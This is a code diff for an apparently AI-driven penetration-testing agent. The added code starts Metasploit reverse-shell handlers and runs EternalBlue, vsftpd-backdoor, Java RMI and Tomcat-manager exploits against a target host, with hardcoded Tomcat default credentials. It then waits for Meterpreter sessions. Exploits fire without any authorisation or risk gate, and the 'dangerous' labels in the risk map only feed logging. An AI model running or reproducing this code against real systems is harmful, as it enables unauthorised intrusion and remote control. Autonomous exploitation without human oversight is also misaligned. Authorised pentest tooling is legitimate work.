debug: add exploit execution logging

Author: Kim-San04

agent/action_executor.py

@@ -113,12 +113,51 @@ def _execute_recon(self, decision: Dict):
 
     # ── Phase 3: Exploitation ─────────────────────────────────────────────
 
+    # Handler config per module: (payload, lport)
+    _HANDLER_CONFIGS = {
+        "exploit/multi/http/tomcat_mgr_deploy":      ("java/meterpreter/reverse_tcp",   4444),
+        "exploit/multi/misc/java_rmi_server":         ("java/meterpreter/reverse_tcp",   4446),
+        "exploit/unix/ftp/vsftpd_234_backdoor":       ("cmd/unix/reverse_perl",          4445),
+        "exploit/windows/smb/ms17_010_eternalblue":   ("windows/x64/meterpreter/reverse_tcp", 4447),
+    }
+
+    @staticmethod
+    def _get_local_ip() -> str:
+        import socket as _sock
+        try:
+            s = _sock.socket(_sock.AF_INET, _sock.SOCK_DGRAM)
+            s.connect(("8.8.8.8", 80))
+            return s.getsockname()[0]
+        except Exception:
+            return "0.0.0.0"
+        finally:
+            try:
+                s.close()
+            except Exception:
+                pass
+
+    def _start_msf_handler(self, lhost: str, lport: int, payload: str):
+        """Start a multi/handler listener to receive the reverse callback."""
+        try:
+            handler = self.msf_client.modules.use("exploit", "multi/handler")
+            handler["PAYLOAD"] = payload
+            handler["LHOST"] = lhost
+            handler["LPORT"] = lport
+            handler["ExitOnSession"] = False
+            pay = self.msf_client.modules.use("payload", payload)
+            pay["LHOST"] = lhost
+            pay["LPORT"] = lport
+            handler.execute(payload=pay)
+            time.sleep(2)   # give the handler time to bind
+            logger.info(f"MSF handler started: {payload} on {lhost}:{lport}")
+        except Exception as exc:
+            logger.warning(f"Failed to start MSF handler: {exc}")
+
     def _execute_exploit(self, decision: Dict):
         host = decision.get("target_host", self.state.target)
         port = str(decision.get("target_port", 0))
         module = decision.get("module_or_cmd", "")
         tool = decision.get("tool", "").lower()
-        key = (host, port, module)
 
         if self.state.has_tried(host, int(port) if port.isdigit() else 0, module):
             logger.info(f"Skipping already-tried exploit: {module} on {host}:{port}")
@@ -128,22 +167,67 @@ def _execute_exploit(self, decision: Dict):
 
         if tool == "metasploit" and self.msf_client:
             try:
-                from exploitation.metasploit_engine import MetasploitEngine
-                eng = MetasploitEngine()
-                eng._client = self.msf_client
-                result = eng.run_module(host, port, module)
-                if result.get("status") == "success":
+                lhost = self._get_local_ip()
+                handler_cfg = self._HANDLER_CONFIGS.get(module)
+
+                # Start handler BEFORE exploit for reverse payloads
+                if handler_cfg:
+                    payload_name, lport = handler_cfg
+                    print(f"[AGENT] Starting handler {payload_name} on {lhost}:{lport}")
+                    self._start_msf_handler(lhost, lport, payload_name)
+                else:
+                    payload_name = None
+                    lport = None
+
+                # Build and configure the MSF module DIRECTLY (no MetasploitEngine wrapper)
+                module_type = module.split("/")[0]
+                module_path = "/".join(module.split("/")[1:])
+                print(f"[DEBUG] Lancement module : {module}")
+
+                client = self.msf_client
+                mod = client.modules.use(module_type, module_path)
+                mod["RHOSTS"] = host
+                if port and port != "0":
+                    mod["RPORT"] = str(port)
+                if lhost and payload_name:
+                    mod["LHOST"] = lhost
+                    mod["LPORT"] = str(lport)
+
+                # Tomcat default credentials
+                if "tomcat" in module.lower():
+                    mod["HttpUsername"] = "tomcat"
+                    mod["HttpPassword"] = "tomcat"
+
+                print(f"[DEBUG] Options : RHOSTS={host}, RPORT={port}, "
+                      f"PAYLOAD={payload_name}, LHOST={lhost}, LPORT={lport}")
+
+                if payload_name:
+                    pay = client.modules.use("payload", payload_name)
+                    pay["LHOST"] = lhost
+                    pay["LPORT"] = str(lport)
+                    raw_result = mod.execute(payload=pay)
+                else:
+                    raw_result = mod.execute()
+
+                print(f"[DEBUG] Résultat brut execute() : {raw_result}")
+                print(f"[DEBUG] Type résultat : {type(raw_result)}")
+
+                # execute() returns dict {"job_id": ..., "uuid": ...}, int, or bool
+                if isinstance(raw_result, bool) and not raw_result:
+                    logger.warning(f"Module execute() returned False — exploit failed")
+                else:
                     self.state.exploits_success.append({"host": host, "module": module})
                     self.bus.publish(Event(
                         type=EventType.EXPLOIT_SUCCESS,
                         data={"host": host, "port": port, "module": module},
                         source="executor",
                     ))
-                    # Wait 8s — Meterpreter payloads (Tomcat, java) are slower to callback
-                    time.sleep(8)
+                    wait = 15 if handler_cfg else 8
+                    print(f"[AGENT] Waiting {wait}s for session callback...")
+                    time.sleep(wait)
                     try:
                         sessions = self.msf_client.sessions.list or {}
-                        print(f"[DEBUG] Sessions après exploit : {sessions}")
+                        print(f"[DEBUG] Sessions après {wait}s : {sessions}")
                         for sid, sinfo in sessions.items():
                             sid_str = str(sid)
                             if sid_str not in self.state.sessions:

exploitation/decision.py

@@ -2,18 +2,17 @@
 
 logger = logging.getLogger("pentest-agent.decision")
 
-# Risk classification kept for logging purposes only
 RISK_MAP = {
-    "brute_force":    "safe",
-    "web_scan":       "safe",
-    "exploit_search": "safe",
-    "sql_injection":  "moderate",
-    "wp_scan":        "safe",
-    "msf_auxiliary":  "safe",
-    "msf_exploit":    "dangerous",
-    "rce":            "dangerous",
-    "dos":            "dangerous",
-    "buffer_overflow":"dangerous",
+    "brute_force":     "safe",
+    "web_scan":        "safe",
+    "exploit_search":  "safe",
+    "sql_injection":   "moderate",
+    "wp_scan":         "safe",
+    "msf_auxiliary":   "safe",
+    "msf_exploit":     "dangerous",
+    "rce":             "dangerous",
+    "dos":             "dangerous",
+    "buffer_overflow": "dangerous",
 }